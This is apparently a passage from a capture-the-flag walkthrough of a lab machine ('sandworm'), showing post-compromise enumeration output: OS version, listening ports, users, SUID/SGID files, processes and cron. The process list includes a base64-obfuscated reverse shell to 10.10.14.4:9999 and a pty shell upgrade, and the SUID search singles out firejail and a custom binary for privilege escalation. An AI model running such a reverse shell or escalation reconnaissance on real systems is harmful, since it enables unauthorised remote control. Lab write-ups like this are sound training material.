as silentobserver


The user is not bound by firejail’s sandbox environment unlike the atlas user

System/Kernel


silentobserver@sandworm:~$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33a5554034feb2af38e8c75872058883b2988bc5, for GNU/Linux 3.2.0, stripped
Linux sandworm 5.15.0-73-generic #80-Ubuntu SMP Mon May 15 15:18:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.2 LTS"
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

5.15.0-73-generic Ubuntu 22.04.2 LTS (Jammy Jellyfish) x86_64

Networks


silentobserver@sandworm:~$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      1 10.10.11.218:34172      8.8.8.8:53              SYN_SENT    -                   
tcp        1      0 127.0.0.1:5000          127.0.0.1:53450         CLOSE_WAIT  -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32976         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32924         TIME_WAIT   -                   
tcp        0    216 10.10.11.218:22         10.10.14.4:37180        ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32964         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:58306         ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32994         TIME_WAIT   -                   
tcp        0      0 10.10.11.218:52490      10.10.14.4:9999         CLOSE_WAIT  -                   
tcp        1      0 127.0.0.1:5000          127.0.0.1:57816         CLOSE_WAIT  -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32940         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32952         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32966         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32992         TIME_WAIT   -                   
tcp        0      0 10.10.11.218:51332      10.10.14.4:9999         ESTABLISHED -                   
tcp        0      0 127.0.0.1:58306         127.0.0.1:3306          ESTABLISHED -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32910         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:3306          127.0.0.1:32928         TIME_WAIT   -                   
udp        0      0 10.10.11.218:51974      8.8.8.8:53              ESTABLISHED -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:43547         127.0.0.53:53           ESTABLISHED -                   
udp        0      0 10.10.11.218:53888      8.8.8.8:53              ESTABLISHED -                   

127.0.0.1:3306 127.0.0.1:33060 127.0.0.1:5000

Users & Groups


$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
total 12K
   0 dr--------  2 nobody nogroup   40 Jun 28 11:31 silentobserver
4.0K drwxr-xr-x 19 nobody nogroup 4.0K Jun  7 13:53 ..
4.0K drwxr-xr-x  8 atlas  atlas   4.0K Jun  7 13:44 atlas
4.0K drwxr-xr-x  4 nobody nogroup 4.0K May  4 15:19 .
silentobserver@sandworm:~$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
uid=103(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm),5(tty)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(tss) gid=111(tss) groups=111(tss)
uid=107(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=108(tcpdump) gid=113(tcpdump) groups=113(tcpdump)
uid=109(landscape) gid=115(landscape) groups=115(landscape)
uid=110(pollinate) gid=1(daemon) groups=1(daemon)
uid=111(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=998(lxd) gid=100(users) groups=100(users)
uid=112(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=113(fwupd-refresh) gid=118(fwupd-refresh) groups=118(fwupd-refresh)
uid=114(mysql) gid=120(mysql) groups=120(mysql)
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
uid=997(_laurel) gid=997(_laurel) groups=997(_laurel)

uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)

SUIDs


silentobserver@sandworm:~$ find / -perm -04000 -ls -type f 2>/dev/null
    13323  57668 -rwsrwxr-x   2 atlas    atlas    59047248 jun  6 10:00 /opt/tipnet/target/debug/tipnet
    11566  54924 -rwsrwxr-x   1 atlas    atlas    56234960 may  4 18:06 /opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
    13323  57668 -rwsrwxr-x   2 atlas    atlas    59047248 jun  6 10:00 /opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
     1344   1740 -rwsr-x---   1 root     jailer    1777952 Nov 29  2022 /usr/local/bin/firejail
    10841     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    14179    332 -rwsr-xr-x   1 root     root         338536 Nov 23  2022 /usr/lib/openssh/ssh-keysign
     7154     20 -rwsr-xr-x   1 root     root          18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
     5693     48 -rwsr-xr-x   1 root     root          47480 Feb 21  2022 /usr/bin/mount
     6360    228 -rwsr-xr-x   1 root     root         232416 apr  3 18:00 /usr/bin/sudo
     6579     72 -rwsr-xr-x   1 root     root          72072 Nov 24  2022 /usr/bin/gpasswd
     5818     36 -rwsr-xr-x   1 root     root          35192 Feb 21  2022 /usr/bin/umount
     6580     60 -rwsr-xr-x   1 root     root          59976 Nov 24  2022 /usr/bin/passwd
     6152     44 -rwsr-xr-x   1 root     root          44808 Nov 24  2022 /usr/bin/chsh
     6151     72 -rwsr-xr-x   1 root     root          72712 Nov 24  2022 /usr/bin/chfn
     6564     40 -rwsr-xr-x   1 root     root          40496 Nov 24  2022 /usr/bin/newgrp
     9004     56 -rwsr-xr-x   1 root     root          55672 Feb 21  2022 /usr/bin/su
     5108     36 -rwsr-xr-x   1 root     root          35200 Mar 23  2022 /usr/bin/fusermount3

/opt/tipnet/target/debug/tipnet /usr/local/bin/firejail

SGIDs


silentobserver@sandworm:~$ find / -perm -02000 -ls -type f 2>/dev/null
    63690      4 drwxrwsr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/share/fonts
    14664      4 drwxrwsr-x   3 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8
    14665      4 drwxrwsr-x   6 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages
    63663      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/python_gnupg-0.4.3.dist-info
    63668      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/__pycache__
    63691      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn-20.1.0.dist-info
    63698      4 drwxr-sr-x   7 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn
    63711      4 drwxr-sr-x   3 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/app
    63716      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/app/__pycache__
    63721      4 drwxr-sr-x   3 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/instrument
    63724      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/instrument/__pycache__
    63727      4 drwxr-sr-x   3 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/workers
    63737      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/workers/__pycache__
    63747      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/__pycache__
    63760      4 drwxr-sr-x   3 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/http
    63768      4 drwxr-sr-x   2 root     staff        4096 Jun  6 11:49 /usr/local/lib/python3.8/dist-packages/gunicorn/http/__pycache__
    28694     24 -rwxr-sr-x   1 root     shadow      22680 Feb  2 09:21 /usr/sbin/pam_extrausers_chkpwd
    28696     28 -rwxr-sr-x   1 root     shadow      26776 Feb  2 09:21 /usr/sbin/unix_chkpwd
    49768     16 -rwxr-sr-x   1 root     utmp        14488 Mar 24  2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
     9088     24 -rwxr-sr-x   1 root     tty         22904 Feb 21  2022 /usr/bin/wall
    14130    288 -rwxr-sr-x   1 root     _ssh       293304 Nov 23  2022 /usr/bin/ssh-agent
     6578     24 -rwxr-sr-x   1 root     shadow      23136 Nov 24  2022 /usr/bin/expiry
     6128     72 -rwxr-sr-x   1 root     shadow      72184 Nov 24  2022 /usr/bin/chage
     5789     40 -rwxr-sr-x   1 root     crontab     39568 Mar 23  2022 /usr/bin/crontab
     5017     24 -rwxr-sr-x   1 root     tty         22912 Feb 21  2022 /usr/bin/write.ul
     6535      4 drwxrwsr-x   2 root     staff        4096 Jan 20  2021 /var/local
     7032      4 drwxr-sr-x   3 root     systemd-journal     4096 May  7  2020 /var/log/journal
   269924     24 drwxr-sr-x   2 root     systemd-journal    20480 Jun 29 10:04 /var/log/journal/8e7b2e7692df48faa4e42d6cfc791ed2
     6537      4 drwxrwsr-x   2 root     mail                4096 Jan 20  2021 /var/mail
      461      0 drwxr-sr-x   2 root     systemd-journal       40 Jun 28 11:31 /run/log/journal

Processes


silentobserver@sandworm:~$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 165972 11568 ?        ss   jun28   0:03 /sbin/init maybe-ubiquity
root         706  0.4  6.0 366828 242172 ?       s<s  jun28   6:28 /lib/systemd/systemd-journald
root         745  0.0  0.6 289344 27096 ?        slsl jun28   0:08 /sbin/multipathd -d -s
root         750  0.0  0.1  26752  7516 ?        ss   jun28   0:00 /lib/systemd/systemd-udevd
systemd+     802  0.0  0.3  26188 14188 ?        ss   jun28   0:09 /lib/systemd/systemd-resolved
systemd+     803  0.0  0.1  89352  6552 ?        ssl  jun28   0:05 /lib/systemd/systemd-timesyncd
root         805  0.0  0.2  51128 11740 ?        ss   jun28   0:00 /usr/bin/VGAuthService
root         806  0.1  0.2 316020  9788 ?        ssl  jun28   1:29 /usr/bin/vmtoolsd
root         807  0.1  0.0  86520  3264 ?        s<sl jun28   2:40 /sbin/auditd
_laurel      809  0.1  0.2  12820  9212 ?        s<   jun28   1:56 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root         933  0.0  0.0  82828  3932 ?        ssl  jun28   0:03 /usr/sbin/irqbalance --foreground
root         937  0.0  0.1 234568  6776 ?        ssl  jun28   0:00 /usr/libexec/polkitd --no-debug
syslog       938  0.0  0.1 222400  6020 ?        ssl  jun28   1:15 /usr/sbin/rsyslogd -n -iNONE
root         939  0.0  0.1  15320  7588 ?        ss   jun28   0:00 /lib/systemd/systemd-logind
root         941  0.0  0.3 392524 12920 ?        ssl  jun28   0:00 /usr/libexec/udisks2/udisksd
root         965  0.0  0.3 318012 12348 ?        ssl  jun28   0:00 /usr/sbin/ModemManager
root         968  0.0  0.1 101232  5872 ?        ssl  jun28   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
atlas       1201  0.0  0.0   4744  2624 ?        ss   jun28   0:00 /usr/local/bin/firejail --profile=webapp flask run
root        1205  0.0  0.0   6892  2992 ?        ss   jun28   0:00 /usr/sbin/cron -f -P
atlas       1215  0.0  0.0   4772  2820 ?        s    jun28   0:00 /usr/local/bin/firejail --profile=webapp flask run
root        1228  0.0  0.2  15420  9248 ?        ss   jun28   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1230  0.0  0.0   6172  1116 tty1     ss+  jun28   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1233  0.0  0.0  55896  2424 ?        ss   jun28   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data    1234  0.3  0.2  58192 11624 ?        s    jun28   5:19 nginx: worker process
www-data    1235  0.4  0.2  58316 11612 ?        s    jun28   5:37 nginx: worker process
mysql       1253  1.1 10.3 1797124 414876 ?      ssl  jun28  14:58 /usr/sbin/mysqld
atlas       1254  2.5  1.4 1093104 59704 ?       sl   jun28  35:07 /usr/bin/python3 /usr/local/sbin/flask run
atlas     935091  0.0  0.0 228960  3604 ?        ssl  jun28   0:05 gpg-agent --homedir /home/atlas/.gnupg --use-standard-socket --daemon
atlas     935094  0.0  0.0  81852  1568 ?        sll  jun28   0:00 scdaemon --multi-server
root     1011594  0.0  0.2 239604  8768 ?        ssl  jun28   0:00 /usr/libexec/upowerd
atlas    1020639  0.0  0.0   2888   948 ?        s    08:46   0:00 /bin/sh -c bash -c 'echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Lzk5OTkgMD4mMQo=|base64 -d|bash'
atlas    1020640  0.0  0.0   7368  3584 ?        s    08:46   0:00 bash -c echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Lzk5OTkgMD4mMQo=|base64 -d|bash
atlas    1020643  0.0  0.0   7368  3444 ?        s    08:46   0:00 bash
atlas    1020644  0.0  0.0   2888   964 ?        s    08:46   0:00 /bin/sh -i
atlas    1020794  0.0  0.2  17348  9292 ?        s    08:57   0:00 python3 -c import pty; pty.spawn("/bin/bash")
atlas    1020795  0.0  0.1   8688  5448 pts/0    ss   08:57   0:00 /bin/bash
atlas    1020838  0.0  0.0   8676  3596 pts/0    sl+  08:58   0:00 gpg
root     1021914  0.0  0.2  17168 10864 ?        ss   09:56   0:00 sshd: silentobserver [priv]
silento+ 1021917  0.0  0.2  17048  9776 ?        ss   09:56   0:00 /lib/systemd/systemd --user
silento+ 1021918  0.0  0.0 169028  3644 ?        s    09:56   0:00 (sd-pam)
silento+ 1022005  0.0  0.2  17300  8144 ?        s    09:56   0:00 sshd: silentobserver@pts/0
silento+ 1022007  0.0  0.1   8776  5552 pts/0    ss   09:56   0:00 -bash
silento+ 1022222  0.0  0.0  10332  3604 pts/0    r+   10:06   0:00 ps -auxwww

/usr/libexec/polkitd --no-debug /usr/sbin/cron -f -P /usr/sbin/mysqld

Cron & Systemd


silentobserver@sandworm:~$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for silentobserver
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT          LAST                        PASSED               UNIT                           ACTIVATES    >
Thu 2023-06-29 10:28:56 UTC 17min left    Wed 2023-06-28 22:32:36 UTC 11h ago              fwupd-refresh.timer            fwupd-refresh>
Thu 2023-06-29 11:36:17 UTC 1h 25min left Wed 2023-06-28 11:36:17 UTC 22h ago              update-notifier-download.timer update-notifi>
Thu 2023-06-29 11:45:37 UTC 1h 34min left Wed 2023-06-28 11:45:37 UTC 22h ago              systemd-tmpfiles-clean.timer   systemd-tmpfi>
Thu 2023-06-29 13:55:32 UTC 3h 44min left Thu 2023-06-29 07:00:49 UTC 3h 10min ago         ua-timer.timer                 ua-timer.serv>
Thu 2023-06-29 14:26:21 UTC 4h 15min left Thu 2023-06-29 03:26:52 UTC 6h ago               apt-daily.timer                apt-daily.ser>
Thu 2023-06-29 19:13:59 UTC 9h left       Thu 2023-06-29 03:01:06 UTC 7h ago               motd-news.timer                motd-news.ser>
Fri 2023-06-30 00:00:00 UTC 13h left      Thu 2023-06-29 00:00:01 UTC 10h ago              dpkg-db-backup.timer           dpkg-db-backu>
Fri 2023-06-30 00:00:00 UTC 13h left      Thu 2023-06-29 00:00:01 UTC 10h ago              logrotate.timer                logrotate.ser>
Fri 2023-06-30 01:24:06 UTC 15h left      Thu 2023-06-29 05:02:29 UTC 5h 8min ago          man-db.timer                   man-db.service
Fri 2023-06-30 06:50:44 UTC 20h left      Thu 2023-06-29 06:36:02 UTC 3h 34min ago         apt-daily-upgrade.timer        apt-daily-upg>
Sun 2023-07-02 03:10:08 UTC 2 days left   Wed 2023-06-28 11:31:52 UTC 22h ago              e2scrub_all.timer              e2scrub_all.s>
Mon 2023-07-03 00:55:41 UTC 3 days left   Wed 2023-06-28 12:54:01 UTC 21h ago              fstrim.timer                   fstrim.service
Wed 2023-07-05 06:05:12 UTC 5 days left   Mon 2023-02-06 02:01:42 UTC 4 months 21 days ago update-notifier-motd.timer     update-notifi>
 
13 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-17/17 (END)

Sudo Version


silentobserver@sandworm:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

Sudo version 1.9.9

Glibc Version


silentobserver@sandworm:~$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35